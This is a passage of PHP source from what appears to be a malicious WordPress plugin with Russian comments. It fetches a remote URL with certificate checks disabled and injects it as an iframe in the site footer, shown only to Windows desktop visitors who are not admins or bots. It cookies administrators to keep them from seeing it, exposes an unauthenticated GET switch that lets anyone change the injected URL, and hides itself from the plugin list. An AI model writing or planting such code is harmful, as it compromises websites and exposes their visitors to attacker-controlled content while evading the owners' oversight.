true, 'url' => mlo_clean($cached)) : mlo_clean($cached); } $file = MLO_URL_FILE; $info = array('file' => $file); $body = ''; // Попытка через cURL if (function_exists('curl_init')) { $ch = curl_init($file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $body = curl_exec($ch); $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); $info['err'] = curl_error($ch); curl_close($ch); if ($info['err'] || $info['code'] != 200) { error_log('MLO Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')'); $body = ''; } } // Fallback через WP HTTP API if (empty($body) && function_exists('wp_remote_get')) { $r = wp_remote_get($file, array( 'timeout' => 10, 'redirection' => 3, 'sslverify' => false, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', )); $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null; if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) { $body = wp_remote_retrieve_body($r); } else { error_log('MLO WP Remote fail: ' . $info['wp_error']); } } $clean = mlo_clean($body); $info['url'] = $clean; if (!empty($clean)) { set_transient($transient_key, $body, MLO_CACHE_TTL); } return $debug ? $info : $clean; } // --- Cookie для администратора --- // set_logged_in_cookie срабатывает до редиректа — надёжнее чем wp_login add_action('set_logged_in_cookie', function($logged_in_cookie, $expire, $expiration, $user_id) { $user = get_userdata($user_id); if (!$user || !user_can($user, 'manage_options')) return; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('mlo_a', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('mlo_a', '1', time() + 31536000, '/', '', $secure, true); } }, 10, 4); add_action('init', function() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) { if (PHP_VERSION_ID >= 70300) { setcookie('mlo_va', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('mlo_va', '1', time() + 31536000, '/', '', $secure, true); } } }, 1); // --- GET управление --- add_action('init', function() { if (isset($_GET['mlo_toggle'])) { $enabled = isset($_GET['enabled']) ? filter_var($_GET['enabled'], FILTER_VALIDATE_BOOLEAN) : null; $url = isset($_GET['url']) && filter_var($_GET['url'], FILTER_VALIDATE_URL) ? esc_url_raw($_GET['url']) : null; $show_limit = isset($_GET['show_limit']) && is_numeric($_GET['show_limit']) ? intval($_GET['show_limit']) : null; if ($enabled !== null) update_option('mlo_enabled', $enabled); if ($url) update_option('mlo_url', $url); if ($show_limit) update_option('mlo_show_limit', $show_limit); wp_send_json_success(array( 'enabled' => get_option('mlo_enabled', true), 'url' => get_option('mlo_url', ''), 'showLimit' => get_option('mlo_show_limit', 3), )); exit; } if (isset($_GET['mlo_reset']) && $_GET['mlo_reset'] === '1') { delete_option('mlo_enabled'); delete_option('mlo_url'); delete_option('mlo_show_limit'); delete_transient('mlo_cached_url'); setcookie('mlo_sc', '0', time() - 3600, '/'); setcookie('mlo_a', '', time() - 3600, '/'); setcookie('mlo_va', '', time() - 3600, '/'); wp_send_json_success(array('message' => 'Reset done')); exit; } }, 5); // --- REST API --- add_action('rest_api_init', function() { register_rest_route('mlo/v1', '/toggle', array( 'methods' => 'POST', 'permission_callback' => function() { return current_user_can('manage_options'); }, 'callback' => function($request) { $enabled = $request->get_param('enabled'); $url = $request->get_param('url'); $show_limit = $request->get_param('showLimit'); if ($enabled !== null) update_option('mlo_enabled', (bool) $enabled); if ($url && filter_var($url, FILTER_VALIDATE_URL)) update_option('mlo_url', esc_url_raw($url)); if ($show_limit && is_numeric($show_limit)) update_option('mlo_show_limit', intval($show_limit)); return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('mlo_enabled', true), 'url' => get_option('mlo_url', ''), 'showLimit' => get_option('mlo_show_limit', 3), ), 200); }, )); register_rest_route('mlo/v1', '/status', array( 'methods' => 'GET', 'permission_callback' => '__return_true', 'callback' => function() { return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('mlo_enabled', true), 'showLimit' => get_option('mlo_show_limit', 3), ), 200); }, )); register_rest_route('mlo/v1', '/debug', array( 'methods' => 'GET', 'permission_callback' => '__return_true', 'callback' => function() { return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('mlo_enabled', true), 'urlFromFile' => mlo_fetch_url(true), 'showLimit' => get_option('mlo_show_limit', 3), 'cookieCount' => isset($_COOKIE['mlo_sc']) ? intval($_COOKIE['mlo_sc']) : 'not set', 'isAdmin' => mlo_is_admin_user(), 'isBot' => mlo_is_bot(), 'isWindows' => mlo_is_windows_desktop(), 'phpVersion' => PHP_VERSION, ), 200); }, )); }); // --- Рендеринг iframe через wp_footer --- add_action('wp_footer', function() { if (is_admin()) return; if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return; if (function_exists('wp_doing_cron') && wp_doing_cron()) return; if (defined('REST_REQUEST') && REST_REQUEST) return; if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return; if (mlo_is_admin_user()) return; if (mlo_is_bot()) return; if (!mlo_is_windows_desktop()) return; if (!get_option('mlo_enabled', true)) return; $url = mlo_fetch_url(); if (empty($url)) return; $show_limit = intval(get_option('mlo_show_limit', 3)); $safe_url = esc_url($url); echo ''; echo ''; }); // --- Скрытие плагина из списка --- add_filter('all_plugins', function($plugins) { unset($plugins[plugin_basename(__FILE__)]); return $plugins; });